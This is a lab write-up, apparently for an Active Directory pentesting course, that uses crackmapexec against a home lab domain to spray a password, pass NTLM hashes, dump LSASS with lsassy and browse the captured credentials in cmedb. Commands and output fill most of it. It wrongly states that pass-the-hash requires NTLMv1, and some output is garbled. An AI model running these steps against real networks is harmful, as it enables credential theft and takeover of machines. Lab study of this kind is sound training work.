

## 02 - Pass Attacks - Lab

In this lab, we are going to be exploring how to do pass attacks with crackmapexec. If we ran pimpmykali, then it should be already installed. If you did not, then just download the software.

To search the possible command to use for a specific service, we can search it like so "#crackmapexec smb --help", which is very helpfull.

```
(kali@kali)-[~]
$ crackmapexec smb 192.168.163.0/24 -u LMonkey -d ONEPIECE.local -p Password1
```

It will try to login to all the possible IP address. And we were able to login in a couple machines.

```
(kali@kali)-[~]
$ crackmapexec smb 192.168.163.0/24 -u LMonkey -d ONEPIECE.local -p Password1
[*] First time use detected
[*] Creating home directory structure
[*] Creating missing folder logs
[*] Creating missing folder modules
[*] Creating missing folder protocols
[*] Creating missing folder workspaces
[*] Creating missing folder obfuscated_scripts
[*] Creating missing folder screenshots
[*] Copying default configuration file
SMB 192.168.163.158 445 THEROBOT [*] Windows 10.0 Build 19041 x64 (name:THEROBOT) (domain:ONEPIECE.local) (signing:False) (SMBv1:False)
SMB 192.168.163.156 445 GOINGMERRY-DC [*] Windows 10.0 Build 20348 x64 (name:GOINGMERRY-DC) (domain:ONEPIECE.local) (signing:True) (SMBv1:False)
SMB 192.168.163.157 445 THENAVIGATOR [*] Windows 10.0 Build 19041 x64 (name:THENAVIGATOR) (domain:ONEPIECE.local) (signing:False) (SMBv1:False)
SMB 192.168.163.156 445 GOINGMERRY-DC [+] ONEPIECE.local\LMonkey:Password1
SMB 192.168.163.158 445 THEROBOT [+] ONEPIECE.local\LMonkey:Password1 (Pwn3d!)
SMB 192.168.163.157 445 THENAVIGATOR [+] ONEPIECE.local\LMonkey:Password1 (Pwn3d!)
Running CME against 256 targets 100% 0:00:00
```

We can see we were able to compromise a couple machines. Here, we want to be aware of the machines we have access to, which ones we have local admin, which one we can only login, but no privileges.

We can also do a Pass the Hash:

This will only work with NTLMv1, and NOT NTLMv2. NTLMv2 can be relayed, but to pass the hash, we need NTLMv1.

We will use the hash captured on the SMB Relay attack video. In my case:

```
"#crackmapexec smb 192.168.163.0/24 -u administrator -H aad3b435b51404eeaad3b435b51404ee:7facdc498ed1680c4fd1448319a8c04f --local-auth"
```

```
(kali@kali)-[~/Desktop/TCM-ActiveDirectory-Lab/SMB-Relay-Attack]
$ crackmapexec smb 192.168.163.0/24 -u administrator -H aad3b435b51404eeaad3b435b51404ee:7facdc498ed1680c4fd1448319a8c04f --local-auth
SMB 192.168.163.156 445 GOINGMERRY-DC [*] Windows 10.0 Build 20348 x64 (name:GOINGMERRY-DC) (domain:GOINGMERRY-DC) (signing:True) (SMBv1:False)
SMB 192.168.163.158 445 THEROBOT [*] Windows 10.0 Build 19041 x64 (name:THEROBOT) (domain:THEROBOT) (signing:False) (SMBv1:False)
SMB 192.168.163.157 445 THENAVIGATOR [*] Windows 10.0 Build 19041 x64 (name:THENAVIGATOR) (domain:THENAVIGATOR) (signing:False) (SMBv1:False)
SMB 192.168.163.156 445 GOINGMERRY-DC [-] GOINGMERRY-DC\administrator:7facdc498ed1680c4fd1448319a8c04f STATUS_LOGON_FAILURE
SMB 192.168.163.158 445 THEROBOT [+] THEROBOT\administrator:7facdc498ed1680c4fd1448319a8c04f (Pwn3d!)
SMB 192.168.163.157 445 THENAVIGATOR [+] THENAVIGATOR\administrator:7facdc498ed1680c4fd1448319a8c04f (Pwn3d!)
Running CME against 256 targets 100% 0:00:00
```

We can also use `crackmapexec` to dump the SAM of a machine.

This will store the data dumped in the database.

We can also use "--lsa". Different versions of secrets.

These are just a couple modules we can use within SMB in crackmapexec. We can list all the modules we can use by issuing "#crackmapexec smb -L".

```

$ crackmapexec smb -l
[+] add-computer      Adds or deletes a domain computer
[+] bh_ownership     Set pwmed computer as owned in Bloodhound
[+] dfscoerce        Module to check if the DC is vulnerable to DFSCoerce, credit to @flipp_dragovic/@mh04m1001 and @topotam
[+] drop-ec          Drop a searchconnector= file on each writable share
[+] empire_exec       Uses Empire's RESTful API to generate a launcher for the specified listener and executes it
[+] enum_av           Gathers information on all endpoint protection solutions installed on the remote host(s) via LsarLookupNames (no privilege needed)
[+] enum_dns          Uses WMI to dump DNS from an AD DNS Server
[+] firebox           Dump credentials from Firebox
[+] get_netconnections Uses WMI to query network connections.
[+] gpp_autologin     Searches the domain controller for registry.xml to find autologon information and returns the username and password.
[+] gpp_password      Retrieves the plaintext password and other information for accounts pushed through Group Policy Preferences.
[+] handlekatz        Get lsass dump using handlekatz64 and parse the result with pypykatz
[+] hash_spider       Dump lsass recursively from a given hash using BH to find local admins
[+] iis               Checks for credentials in IIS Application Pool configuration files using appcmd.exe
[+] impersonate       List and impersonate tokens to run command as locally logged on users
[+] install_elevated  Checks for AlwaysInstallElevated
[+] ioxidresolver     This module helps you to identify hosts that have additional active interfaces
[+] keepass_discover  Search for KeePass-related files and process.
[+] keepass_trigger   Set up a malicious KeePass trigger to export the database in cleartext.
[+] lsassy            Dump lsass and parse the result remotely with lsassy
[+] masky            Remotely dump domain user credentials via an ADCS and a KDC
[+] met_inject        Downloads the Meterpreter stager and injects it into memory
[+] ms17-010         MS17-010, /!\ not tested outside Home Lab
[+] msol             Dump MSOL cleartext password from the localDB on the Azure AD-Connect Server
[+] nanodump          Get lsass dump using nanodump and parse the result with pypykatz
[+] nopac            Check if the DC is vulnerable to CVE-2021-42278 and CVE-2021-42287 to impersonate DA from standard domain user
[+] ntdsutil         Dump NTDS with ntdsutil
[+] ntlmvl           Detect if IncompatibilityLevel on the target is set to 0 or 1
[+] petitpotam       Module to check if the DC is vulnerable to PetitPotam, credit to @topotam
[+] pl              Run command as logged on users via Process Injection
[+] printnightmare   Check if host vulnerable to printnightmare
[+] procdump         Get lsass dump using procdump64 and parse the result with pypykatz
[+] rdcman           Remotely dump Remote Desktop Connection Manager (sysinternals) credentials
[+] rdp             Enables/Disables RDP
[+] reg-query        Performs a registry query on the machine
[+] runasptl         Check if the registry value RunAsPPL is set or not
[+] scuffy           Creates and dumps an arbitrary scf file with the icon property containing a UNC path to the declared SMB server against all writeable shares
[+] shadowcoerce     Module to check if the target is vulnerable to ShadowCoerce, credit to @Shutdown and @topotam
[+] slinky           Creates windows shortcuts with the icon attribute containing a UNC path to the specified SMB server in all shares with write permissions
[+] spider_plus      List files recursively (excluding EXCLUDE_FILTER and EXCLUDE_EXTS extensions) and save JSON share-file metadata to the 'OUTPUT_FOLDER'. If 'DOWNLOAD_FLAG'=True, download files smaller than 'MAX_FILE_SIZE' to the 'OUTPUT_FOLDER'.
[+] spooler          Detect if print spooler is enabled or not
[+] teams_localdb    Retrieves the cleartext ssouthcookie from the local Microsoft Teams database, if teams is open we kill all Teams process
[+] test_connection  Pings a host
[+] uac             Checks UAC status
[+] vecam           Extracts credentials from local Veeam SQL Database
[+] wcc             Check various security configuration items on Windows machines
[+] wdigest          Creates/Deletes the 'UseLogonCredential' registry key enabling MDigest cred dumping on Windows >= 8.1
[+] web_delivery     Kicks off a Metasploit Payload using the exploit/multi/script/web_delivery module
[+] webdav          Checks whether the WebClient service is running on the target
[+] wifi            Get key of all wireless interfaces
[+] winSCP           Looks for WinSCP.ini files in the registry and default locations and tries to extract credentials.
[+] zerologon        Module to check if the DC is vulnerable to Zerologon aka CVE-2020-1472

```

One very interesting module is "lsassy", "wdigest", "wireless". Depends on what we are doing. Lsassy is going to be number one module according to Heath.

To use modules we can issue:

```
#crackmapexec smb 192.168.163.0/24 -u administrator -H aad3b435b51404eeaad3b435b51404ee:7facdc498ed1680c4fd1448319a8c04f --local-auth -M lsassy
```

If it hangs for more than a few seconds, then we can just quit the session.

```

kali@kali:~/Desktop/TCM-ActiveDirectory-Lab/SMB-Relay-Attack$ # crackmapexec smb 192.168.163.0/24 -u administrator -H aad3b435b51404eeaad3b435b51404ee:7facdc498ed1680c4fd1448319a8c04f --local-auth -M lsassy
SMB 192.168.163.158 445 THEROBOT [+] windows 10.0 build 19041 x64 (name:THEROBOT) (domain:THEROBOT) (signing:False) (smbv1:False)
SMB 192.168.163.158 445 GOINOMERKV-DC [+] windows 10.0 build 22h2 x64 (name:GOINOMERKV-DC) (domain:GOINOMERKV-DC) (signing:True) (smbv1:False)
SMB 192.168.163.157 445 THENAVIGATOR [+] windows 10.0 build 19041 x64 (name:THENAVIGATOR) (domain:THENAVIGATOR) (signing:False) (smbv1:False)
SMB 192.168.163.158 445 THEROBOT [+] THEROBOT\administrator:7facdc498ed1680c4fd1448319a8c04f (Pwn3d!)
SMB 192.168.163.158 445 GOINOMERKV-DC [+] GOINOMERKV-DC\administrator:7facdc498ed1680c4fd1448319a8c04f STATUS_LOGON_FAILURE
SMB 192.168.163.157 445 THENAVIGATOR [+] THENAVIGATOR\administrator:7facdc498ed1680c4fd1448319a8c04f (Pwn3d!)
[16:35:38] ERROR Exception while calling proto_flow() on target 192.168.163.158: Parser.__init__() missing 1 required positional argument: 'dumpfile' connection.py:115

/home/kali/.local/share/pipx/venvs/crackmapexec/lib/python3.11/site-packages/cme/connection.py:113 in __init__
110 |         sleep(value)
111 |     try:
112 |         self.proto_flow()
113 |     except Exception as e:
114 |         self.logger.exception(f"Exception while calling proto_flow() on target
115 | {self.host}: {e}")
116 |

/home/kali/.local/share/pipx/venvs/crackmapexec/lib/python3.11/site-packages/cme/connection.py:163 in proto_flow
160 |         # because of null session
161 |         if self.login() or (self.username == "" and self.password == ""):
162 |             if hasattr(self.args, 'Module') and self.args.module:
163 |                 self.call_modules()
164 |             else:
165 |                 self.call_cmd_args()
166 |

/home/kali/.local/share/pipx/venvs/crackmapexec/lib/python3.11/site-packages/cme/connection.py:201 in call_modules
198 |         if self.admin_privs and hasattr(module, 'on_admin_login'):
199 |             self.logger.debug(f"Module {module.name} has on_admin_login method")
200 |             module.on_admin_login(context, self)
201 |
202 |         if (not hasattr(module, 'on_request') and not hasattr(module,
203 | 'has_response')) and hasattr(module, 'on_shutdown'):
204 |             self.logger.debug(f"Module {module.name} has on_shutdown method")

/home/kali/.local/share/pipx/venvs/crackmapexec/lib/python3.11/site-packages/cme/modules/lsassy_dump.py:71 in on_admin_login
68 |         context.log.fail("Unable to dump lsass")
69 |         return False
70 |     parsed = Parser(file).parse()
71 |     if parsed is None:
72 |         context.log.fail("Unable to parse lsass dump")
73 |         return False
74 |

TypeError: Parser.__init__() missing 1 required positional argument: 'dumpfile'
ERROR Exception while calling proto_flow() on target 192.168.163.157: Parser.__init__() missing 1 required positional argument: 'dumpfile' connection.py:115

```



```
TypeError: Parser.__init__() missing 1 required positional argument: 'dumpfile'
Exception while calling proto_flow() on target 192.168.163.157: Parser.__init__() missing 1 required positional argument: 'dumpfile'
/home/kali/.local/share/pipx/venvs/crackmapexec/lib/python3.11/site-packages/cme/connection.py:113 in __init__
110 |         sleep(value)
111 |
112 |     try:
113 |         self.proto_flow()
114 |     except Exception as e:
115 |         self.logger.exception(f"Exception while calling proto_flow() on target {self.host}: {e}")
116 |
/home/kali/.local/share/pipx/venvs/crackmapexec/lib/python3.11/site-packages/cme/connection.py:163 in proto_flow
160 |         # because of null session
161 |         if self.login() or (self.username == "" and self.password == ""):
162 |             if hasattr(self.args, "module") and self.args.module:
163 |                 self.call_modules()
164 |             else:
165 |                 self.call_cmd_args()
166 |
/home/kali/.local/share/pipx/venvs/crackmapexec/lib/python3.11/site-packages/cme/connection.py:201 in call_modules
198 |         if self.admin_privs and hasattr(module, "on_admin_login"):
199 |             self.logger.debug(f"Module {module.name} has on_admin_login method")
200 |             module.on_admin_login(context, self)
201 |
202 |         if (not hasattr(module, "on_request") and not hasattr(module,
203 |             "has_response")) and hasattr(module, "on_shutdown"):
204 |             self.logger.debug(f"Module {module.name} has on_shutdown method")
/home/kali/.local/share/pipx/venvs/crackmapexec/lib/python3.11/site-packages/cme/modules/lsassy_dump.py:71 in on_admin_login
68 |         context.log.fail("Unable to dump lsass")
69 |         return False
70 |
71 |     parsed = Parser(file).parse()
72 |     if parsed is None:
73 |         context.log.fail("Unable to parse lsass dump")
74 |         return False
TypeError: Parser.__init__() missing 1 required positional argument: 'dumpfile'
Running CME against 256 targets 100% 0:00:00
```

Here in the lab, this wont pick up anything.

Now, to access the database created by crackmapexec:

"#cmedb"

```
(kali@kali) - [~/Desktop/TCM-ActiveDirectory-Lab/SMB-Relay-Attack]
$ cmedb
cmedb (default)(smb) > help
Documented commands (type help <topic>):
clear_database creds dpapi exit export groups help hosts shares wcc
Undocumented commands:
back import
cmedb (default)(smb) > hosts
+-----+-----+-----+-----+-----+-----+-----+-----+-----+-----+
| HostID | Admins | IP | Hostname | Domain | OS | SMBv1 | Signing | Spooler | ZeroLogon | PetitPotam |
+-----+-----+-----+-----+-----+-----+-----+-----+-----+-----+-----+
| 1 | 2 Cred(s) | 192.168.163.157 | THENAVIGATOR | ONEPIECE.local | Windows 10.0 Build 19041 | False | False | None | None | None |
| 2 | 2 Cred(s) | 192.168.163.158 | THEROBOT | ONEPIECE.local | Windows 10.0 Build 19041 | False | False | None | None | None |
| 3 | 0 Cred(s) | 192.168.163.156 | GOINGMERRY-DC | ONEPIECE.local | Windows 10.0 Build 20348 | False | True | None | None | None |
+-----+-----+-----+-----+-----+-----+-----+-----+-----+-----+-----+
cmedb (default)(smb) > groups
+-----+-----+-----+-----+-----+-----+-----+
| GroupID | Domain | Name | RID | Enumerated Members | AD Members | Last Query Time |
+-----+-----+-----+-----+-----+-----+-----+
cmedb (default)(smb) > shares
+-----+-----+-----+-----+-----+-----+
| ShareID | host | Name | Remark | Read Access | Write Access |
+-----+-----+-----+-----+-----+-----+
| 1 | THEROBOT | ADMIN$ | Remote Admin | 1 User(s) | 1 Users |
| 2 | THEROBOT | C$ | Default share | 1 User(s) | 1 Users |
| 3 | THENAVIGATOR | ADMIN$ | Remote Admin | 1 User(s) | 1 Users |
| 4 | THENAVIGATOR | C$ | Default share | 1 User(s) | 1 Users |
+-----+-----+-----+-----+-----+-----+
cmedb (default)(smb) > creds
+-----+-----+-----+-----+-----+-----+
| CredID | Admin On | CredType | Domain | UserName | Password |
+-----+-----+-----+-----+-----+-----+
| 1 | 2 Host(s) | plaintext | ONEPIECE.local | LMonkey | Password1 |
| 2 | 1 Host(s) | hash | THEROBOT | administrator | 7facdc498ed1680c4fd1448319a8c04f |
| 3 | 1 Host(s) | hash | THENAVIGATOR | administrator | 7facdc498ed1680c4fd1448319a8c04f |
| 4 | 0 Host(s) | hash | THEROBOT | Guest | aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 |
| 5 | 0 Host(s) | hash | THENAVIGATOR | Guest | aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 |
+-----+-----+-----+-----+-----+-----+
```

cmedb (default)(smb) > creds

+Credentials+					
CredID	Admin On	CredType	Domain	UserName	Password
1	2 Host(s)	plaintext	ONEPIECE.local	LMonkey	Password1
2	1 Host(s)	hash	THEROBOT	administrator	7facdc498ed1680c4fd1448319a8c04f
3	1 Host(s)	hash	THENAVIGATOR	administrator	7facdc498ed1680c4fd1448319a8c04f
4	0 Host(s)	hash	THEROBOT	Guest	aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0
5	0 Host(s)	hash	THENAVIGATOR	Guest	aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0
6	0 Host(s)	hash	THEROBOT	DefaultAccount	aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0
7	0 Host(s)	hash	THENAVIGATOR	DefaultAccount	aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0
8	0 Host(s)	hash	THEROBOT	WDAGUtilityAccount	aad3b435b51404eeaad3b435b51404ee:c05daf226c55fb7a8a014e6224cf55f5
9	0 Host(s)	hash	THENAVIGATOR	WDAGUtilityAccount	aad3b435b51404eeaad3b435b51404ee:623da614e6f4d31aa13c7702d889988d
10	0 Host(s)	hash	THEROBOT	frank	aad3b435b51404eeaad3b435b51404ee:64f12cddaa88057e06a81b54e73b949b
11	0 Host(s)	hash	THENAVIGATOR	nami	aad3b435b51404eeaad3b435b51404ee:64f12cddaa88057e06a81b54e73b949b

cmedb (default)(smb) >